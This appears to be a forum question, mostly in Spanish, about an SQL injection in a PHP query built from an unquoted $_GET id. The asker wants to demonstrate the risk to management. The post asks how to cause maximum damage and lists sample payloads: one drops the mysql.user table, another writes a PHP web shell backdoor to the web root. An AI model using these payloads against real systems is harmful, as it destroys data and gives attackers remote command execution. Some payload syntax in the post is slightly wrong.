He encontrado una gran cantidad de exploits de inyección SQL en algunos sistemas que mantengo. Sé cómo prevenir la inyección, pero me gustaría demostrarle a mi CEO y CTO lo peligroso que es si no nos concentramos lo suficiente en mantener nuestras aplicaciones seguras.
Muchas veces tenemos que reaccionar en lugar de proactuar cuando se trata de seguridad, principalmente porque cuando se encuentra una vulnerabilidad, no se prioriza la reparación porque es poco probable que se explote.
La siguiente consulta es uno de estos ejemplos. El servidor se está ejecutando con PHP_MAGIC_QUOTES ENCENDIDO (sí, sé que eso es realmente malo) y, por lo tanto, evita las explotaciones en varios lugares porque los programadores han agregado explícitamente "todo el valor de entrada usado en las consultas (por lo que no puede salir de él). Sin embargo, la consulta que he encontrado vulnerable ahora se trata como un número entero en lugar de una cadena, y no contiene "alrededor".
Aquí está el ejemplo:
$sql = "select * from vulnerable_table where id = " . $_GET['id'] . " limit 1";
$result= mysql_query($sql);
¿Cómo harías el daño máximo al sistema considerando que controlas la variable id.
Algunos ejemplos que he encontrado por mi cuenta:
id = 1;drop table mysql.user
Only if semi colon is accepted
id = 1;SELECT '<?php exec($_get['cmd'])?>' INTO OUT_FILE('/var/www/backdoor.php')
Only if I could bypass the magic_quotes somehow